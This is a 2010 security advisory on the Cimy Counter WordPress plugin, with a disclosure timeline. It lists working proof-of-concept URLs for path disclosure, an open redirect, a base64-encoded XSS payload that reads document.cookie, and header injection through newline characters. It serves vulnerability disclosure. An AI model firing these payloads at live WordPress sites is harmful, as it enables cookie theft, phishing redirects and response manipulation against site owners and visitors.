WordPress Plugin Cimy Counter – Full Path Disclosure / Redirector / Cross-Site Scripting / HTTP Response Spitting
---------------------------- Advisory: Vulnerabilities in Cimy Counter for WordPress ----------------------------- URL: http://sebug.net/exploit/19862/ ----------------------------- Affected products: Cimy Counter 0.9.4 and previous versions. ----------------------------- Timeline: 20.04.2010 - found vulnerabilities. 28.04.2010 - announced at my site. 29.04.2010 - informed developer. 06.05.2010 - developer released Cimy Counter 0.9.5. In version 0.9.5 the author fixed all mentioned vulnerabilities except Redirector (aka URL Redirector Abuse in WASC TC v2). And I gave him addition argumentation to fix Redirector hole also. 24.06.2010 - disclosed at my site. ----------------------------- Details: These are Full path disclosure, Redirector, Cross-Site Scripting and HTTP Response Spitting vulnerabilities. Full path disclosure: http://site/wp-content/plugins/cimy-counter/cimy_counter.php http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=%0A1 Redirector: http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=http://websecurity.com.ua XSS: http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b HTTP Response Spitting: http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test Works at old versions of PHP. |